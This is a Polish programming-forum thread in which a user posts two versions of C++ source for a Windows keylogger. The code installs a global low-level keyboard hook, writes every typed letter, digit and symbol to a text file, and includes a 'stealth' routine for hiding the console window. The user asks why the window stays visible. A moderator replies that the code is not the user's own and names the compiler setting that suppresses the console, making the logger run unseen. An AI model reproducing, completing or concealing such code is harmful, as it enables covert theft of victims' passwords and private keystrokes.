problem c++

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Chłopaki mam dziwny problem otóż mam taki kod:
Kod:
#include <iostream>
#include <fstream>
#include <windows.h>
#define VK_A 65
#define VK_B 66
using namespace std;
void hide(void) {
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);

}

fstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
if(wParam==WM_KEYDOWN)
{
switch(p->vkCode)
{
case VK_A:
if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
) out << "A";
else
out << "a";
break;
case VK_B:
	if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
	) out << "B";
	else
	out << "b";
	break;
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MSG msg;
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

while(GetMessage(&msg, NULL, 0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
return msg.wParam;
}
}

i tu jak go kompiluje w dev c++ konsola normalnie się ukrywa ale jak już mam taki kod:
Kod:
#include <iostream>
#include <windows.h>
#include <fstream>
#define VK_A 65
#define VK_B 66
#define VK_C 67
#define VK_D 68
#define VK_E 69
#define VK_F 70
#define VK_G 71
#define VK_H 72
#define VK_I 73
#define VK_J 74
#define VK_K 75
#define VK_L 76
#define VK_M 77
#define VK_N 78
#define VK_O 79
#define VK_P 80
#define VK_Q 81
#define VK_R 82
#define VK_S 83
#define VK_T 84
#define VK_U 85
#define VK_V 86
#define VK_W 87
#define VK_X 88
#define VK_Y 89
#define VK_Z 90
#define VK_0 48
#define VK_1 49
#define VK_2 50
#define VK_3 51
#define VK_4 52
#define VK_5 53
#define VK_6 54
#define VK_7 55
#define VK_8 56
#define VK_9 57
#define VK_OEM_1 0xBA
#define VK_OEM_2 0xBF
#define VK_OEM_3 0xC0
#define VK_OEM_4 0xDB
#define VK_OEM_5 0xDC
#define VK_OEM_6 0xDD
#define VK_OEM_7 0xDE
#define VK_OEM_PLUS 0xBB
#define VK_OEM_MINUS 0xBD
#define VK_OEM_COMMA 0xBC
#define VK_OEM_PERIOD 0xBE
void hide(void) {
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
}
using namespace std;
ofstream out("plik.txt", ios::out);LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)

{

PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    if(wParam==WM_KEYDOWN)
{

   switch (p->vkCode)   {

       case  VK_A:

          if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))

  )      out << "A";
             else
                 out << "a";
                 break;
         case VK_B:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "B";
            else
            out <<"b";
        break;
       case VK_C:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"C";
            else
            out <<"c";
        break;
       case VK_D:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"D";
            else
            out << "d";
        break; 
		    case VK_E:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"E";
            else
            out <<"e";
        break;
       case VK_F:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"F";
            else
            out <<"f";
        break;
       case VK_G:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"G";
            else
            out <<"g";
        break;
       case VK_H:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"H";
            else
            out <<"h";
            break;
       case VK_I:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"I";
            else
            out <<"i";
            break;
       case VK_J:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"J";
            else
            out <<"j";
            break;
       case VK_K:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"K";
            else
            out <<"k";
        break;
       case VK_L:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"L";
            else
            out <<"l";
        break;
       case VK_M:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"M";
            else
            out <<"m";
        break;
       case VK_N:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"N";
            else
            out <<"n";
        break;
       case VK_O:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"O";
            else
            out <<"o";
        break;
       case VK_P:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"P";
            else
            out <<"p";
        break;
       case VK_Q:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"Q";
            else
            out <<"q";
        break;
       case VK_R:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"R";
            else
            out <<"r";
        break;
       case VK_S:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"S";
            else
            out <<"s";
        break;
       case VK_T:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"T";
            else
            out <<"t";
        break;
       case VK_U:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"U";
            else
            out <<"u";
        break;
       case VK_V:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"V";
            else
            out <<"v";
        break;
       case VK_W:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"W";
            else
            out <<"w";
        break;
       case VK_X:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"X";
            else
            out <<"x";
        break;
       case VK_Y:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"Y";
            else
            out <<"y";
        break;
       case VK_Z:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out <<"Z";
            else
            out <<"z";
        break;
       case VK_0:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "0";
            else
            out << ")";
          break;
       case VK_1:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "!";
            else
            out << "1";
        break;
       case VK_2:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "@";
            else
            out <<"2";
        break;
       case VK_3:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "#";
            else
            out <<"3";
        break;
       case VK_4:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "$";
           else
            out << "4";
           break;
       case VK_5:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "%";
            else
            out << "5";
        break;
       case VK_6:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "^";
            else
            out << "6";
        break;
       case VK_7:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "&";
            else
            out << "7";
        break;
       case VK_8:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "*";
            else
            out << "8";
        break;
       case VK_9:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "(";
            else
            out << "9";
        break;
       case VK_OEM_1:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << ":";
            else
            out << ";";
        break;
       case VK_OEM_2:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "?";
            else
            out << "/";
        break;
       case VK_OEM_3:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "~`";
            else
            out << "`";
        break;
       case VK_OEM_4:
           if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "{";
            else
            out << "[";
        break;
       case VK_OEM_5:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "|";
            else
            out << " \ ";
        break;
       case VK_OEM_PLUS:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "+";
            else
            out << "=";
        break;
       case VK_OEM_MINUS:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "_";
            else
            out << "-";
        break;
       case VK_OEM_COMMA:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "<";
            else
            out << ",";
        break;
       case VK_OEM_PERIOD:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << ">";
            else
            out << ".";
        break;
       case VK_OEM_6:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "}";
            else
            out << "]";
        break;
       case VK_OEM_7:
        if(GetAsyncKeyState(VK_LSHIFT) | (GetAsyncKeyState(VK_RSHIFT))
           ) out << "  ' ";
            else
            out << " '' ";
        break;
   }
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{
    MSG msg;
    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

    while(GetMessage(&msg, NULL, 0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
        return msg.wParam;
    }
    
}

to konsola mi się już nie ukrywa czy wie co może być nie tak ?
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Naucz się podstaw programowania bo kod nie jest Twój. Problemem są ustawienia projektu.

Narzędzia -> Opcje kompilatora -> Wytwarzanie optymalizacja kodu -> Konsolidator -> Nie twórz okna konsoli. Przekompiluj.
 
Do góry Bottom